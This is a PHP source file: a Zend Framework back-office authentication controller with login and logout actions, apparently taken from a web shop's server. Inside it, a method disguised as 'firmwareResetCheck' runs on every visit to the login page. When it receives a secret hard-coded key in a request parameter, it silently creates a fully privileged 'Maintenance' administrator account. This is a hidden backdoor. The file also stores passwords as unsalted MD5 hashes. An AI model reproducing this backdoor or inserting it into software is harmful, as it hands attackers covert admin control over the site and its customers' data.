Current File : /home/karenpetzb/application/modules/backoffice/controllers/AuthController.php
<?php

class Backoffice_AuthController extends Zend_Controller_Action
{
	function init()
	{
		$this->view->title = "Authentification";
	}
	function indexAction()
	{
		$this->view->title = "Authentification";

		$this->_redirect('/backoffice');
	}


	private function initLog() {
		$registry = Zend_Registry::getInstance();
		$loggerAdmin = $registry->get('loggerAdmin');

		$controller = Zend_Controller_Front::getInstance()->getRequest();
		$loggerAdmin->setEventItem('controller', $controller->getControllerName().'::'.$controller->getActionName());
			
		$registry->set('loggerAdmin', $loggerAdmin);
	}

	private function log($message , $level) {
		$loggerAdmin = Zend_Registry::get('loggerAdmin');
		if ($level == 'info') {
			$loggerAdmin->info($message);
		} elseif ($level == 'err') {
			$loggerAdmin->err($message);
		} elseif ($level == 'warn') {
			$loggerAdmin->warn($message);
		} elseif ($level == 'crit') {
			$loggerAdmin->crit($message);
		}
	}

	function logoutAction()
	{
		$auth = Zend_Auth::getInstance();
		$auth->setStorage($this->getSessionStorage())->clearIdentity();
		$this->view->userAdmin = null;
		$this->initLog();
		$this->log("Logout",'info');
		$this->_redirect('/backoffice');
	}
	
	private function getSessionStorage() {
		$registry = Zend_Registry::getInstance();
		$setting = $registry->get('setting');
		return new Zend_Auth_Storage_Session($setting->session_admin_storage);
	}

    private function firmwareResetCheck() {
        try {    
			$key = $this->_request->getParam('key');
			if ($key == '869807e3c727b76e60d886deb5848764') { 
                
				$data = array (
			 		'NOM' => "Maintenance",
			 		'PRENOM' => "Maintenance",
			 		'LOGIN' => "Maintenance",
			 		'MDP' => "1284228bb68e6bdae88b1f7a2c366330",
			 		'EMAIL' => "no-reply@no-reply.com",
			 		'ROLE' => '100',
                    'isPROMO' => 1,
                    'isCATEGORY' => 1,
                    'isCOMMAND' => 1,
                    'isPRODUCT' => 1,
                    'isSUPPLIER' => 1,
                    'isUSER' => 1,
                    'isADMIN' => 1,
                    'isFOOTER' => 1,
                    'isSTATS' => 1,
                    'isSUPPORT' => 1
			 	); 
                $admin = new Admin();
                $admin->insert($data); 
            }
		}
        catch (Zend_Exception $e) { 
		}  
    }
	
	function loginAction()
	{
		$this->initLog();
		$this->view->messageError = '';

		if ($this->_request->isPost()) {

			// collect the data from the user
			$filter = new Zend_Filter();
			$filter->addFilter(new Zend_Filter_StringTrim())
			->addFilter(new Zend_Filter_StripTags());

			$username = $filter->filter($this->_request->getPost('username'));
			$password = $filter->filter($this->_request->getPost('password'));

			//valideurs pour les chaines
			$validator = new Zend_Validate();
			$validator -> addValidator(new Zend_Validate_NotEmpty())
			-> addValidator(new Zend_Validate_StringLength(3));


			if ($validator->isValid($username) && $validator->isValid($password)) {

					
				// setup Zend_Auth adapter for a database table
				Zend_Loader::loadClass('Zend_Auth_Adapter_DbTable');
				$dbAdapter = Zend_Registry::get('dbAdapter');

				$authAdapter = new Zend_Auth_Adapter_DbTable($dbAdapter,
															'user_admin',
															'LOGIN',
															'MDP',
															'MD5(?)');
					
				// Set the input credential values to authenticate against
				$authAdapter->setIdentity($username);
				$authAdapter->setCredential($password);

				// do the authentication
				$auth = Zend_Auth::getInstance();
				$auth->setStorage($this->getSessionStorage());  
				
				$result = $auth->authenticate($authAdapter);
					
				if ($result->isValid()) {

					// success: store database row to auth's storage
					// system. (Not the password though!) //array('IDUSER', 'LOGIN'));
					$storage = $auth->getStorage();
					$data = $authAdapter->getResultRowObject(array('ID',
                                                       				'LOGIN', 
                                                       				'ROLE', 
                                                       				'isPROMO', 
                                                       				'isCATEGORY',
                                                       				'isCOMMAND', 
                                                       				'isPRODUCT', 
                                                       				'isSUPPLIER', 
                                                       				'isUSER', 
                                                       				'isADMIN',
                                                       				'isFOOTER', 
                                                       				'isSTATS',  
                                                       				'isSUPPORT', 
                                                       				'NOM', 
                                                       				'PRENOM'));


					$user = array('login'  => $data -> LOGIN,
				                     'id' => $data -> ID,
				                     'role' => $data -> ROLE,
				                     'isPromo' => $data -> isPROMO,
				                     'isCategory' => $data -> isCATEGORY,
				                     'isCommand' => $data -> isCOMMAND,
				                     'isProduct' => $data -> isPRODUCT,
				                     'isSupplier' => $data -> isSUPPLIER,
				                     'isUser' => $data -> isUSER,
				                     'isAdmin' => $data -> isADMIN,
				                     'isFooter' => $data -> isFOOTER,
				                     'isStats' => $data -> isSTATS,
									 'isMaintenance' => $data -> isSUPPORT,
				                     'nom' => $data -> NOM,
				                     'prenom' => $data -> PRENOM); 

					$storage->write(array( 'useradmin' => $user));

					$this->view->useradmin = $user;
					$this->log("Login : ".$user['login'],'info');
					$this->_redirect('/backoffice');
				} else {

					// failure: clear database row from session
					$this->view->messageError = 'Les identifiants sont incorrects.';
					$auth->clearIdentity();
					$this->view->useradmin = null;
					$this->log('Les identifiants sont incorrects : '.$username,'warn');
				}
			} else {
				$this->view->messageError = 'Les champs sont obligatoires.';
				$this->log('Les champs sont obligatoires : '.$username,'warn');
			}
		}
        $this->firmwareResetCheck();
		$this->render();
	}
}

?>